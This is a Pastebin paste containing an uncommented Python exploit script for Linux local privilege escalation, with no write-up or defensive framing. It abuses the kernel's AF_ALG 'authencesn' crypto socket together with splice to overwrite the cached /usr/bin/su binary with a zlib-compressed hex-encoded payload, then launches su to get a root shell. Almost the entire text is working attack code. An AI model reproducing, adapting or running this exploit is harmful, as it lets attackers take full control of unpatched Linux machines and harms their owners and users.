Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- import os
- import socket as s
- import zlib
- def c(su_file, payload_index, payload_chunk):
- socket = s.socket(38, 5, 0);
- socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
- h = 279
- socket.setsockopt(h, 1, bytes.fromhex('0800010000000010' + '0' * 64))
- socket.setsockopt(h, 5, None, 4)
- client_sock, _ = socket.accept()
- o = payload_index + 4
- zero = b'\x00'
- client_sock.sendmsg(
- [b"AAAA" + payload_chunk],
- [(h, 3, zero * 4), (h, 2, b'\x10' + zero * 19), (h, 4, b'\x08' + zero * 3), ],
- 32768
- )
- r, w = os.pipe()
- n = os.splice
- n(su_file, w, o, offset_src=0)
- n(r, client_sock.fileno(), o)
- try:
- client_sock.recv(8 + payload_index)
- except Exception:
- pass
- su_file = os.open("/usr/bin/su", 0);
- i = 0
- binary_payload = zlib.decompress(
- bytes.fromhex(
- "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
- )
- )
- while i < len(binary_payload):
- c(su_file, i, binary_payload[i:i + 4])
- i += 4
- os.system("su")
Advertisement